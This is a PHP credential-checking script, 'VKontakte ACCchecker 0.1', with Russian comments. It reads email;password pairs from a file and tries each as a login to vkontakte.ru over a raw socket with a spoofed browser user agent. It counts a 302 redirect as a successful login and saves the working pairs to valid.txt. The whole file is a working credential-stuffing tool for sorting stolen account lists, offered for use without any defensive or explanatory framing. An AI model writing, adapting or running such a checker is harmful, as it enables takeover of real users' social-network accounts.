<?php #&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| #&------------------------------- #& ВКонтакте АККчекер 0.1 #& VKontakte ACCchecker 0.1 #& By NNNS::[icq: 474374] #& All lefts reserved. #&------------------------------- #&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| # Отключаем ограничение на время выполнения скрипта set_time_limit(0); # User Agent $user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"; # Файл с аккаунтами $acclist = "accounts.txt"; # Файл с валидными аккаунтами $vallist = "valid.txt"; # Помещаем аккаунты в массив $account = file($acclist); # Рабочие аккаунты $valid = 0; # Нерабочие аккаунты $invalid = 0; function vkCheck($email,$pass) { # Открываем сокет $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); # Отправляем заголовки $out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"; $out .= "Host: vkontakte.ru\r\n"; $out .= "User-Agent: ".$user_agent."\r\n"; $out .= "Cookie: income=1\r\n"; $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"; fwrite($fp,$out); # Записываем ответ сервера в переменную $ans=fgets($fp,128); # Закрываем сокет fclose($fp); # Если 302 найден, значит акк валидный if(preg_match("/\b302 Found\b/is", $ans)) { return true; } else { return false; } } # Запускаем цикл for($i=0;$i<count($account);$i++) { # Удаляем симолы перевода строки $caccaunt = str_replace("\r\n","",$account[$i]); # Разбиваем на e-mail и пароль list($email,$pass) = explode(";",$caccaunt); # Вызываем функцию проверки аккаунта $answer = vkCheck($email,$pass); # Если аккаунт рабочий, записываем его в файл if ($answer == true) { $fd = fopen($vallist,"a+"); fputs($fd,$account[$i]); fclose($fd); $valid++; } else { $invalid++; } } # Выводим результат echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid; ?>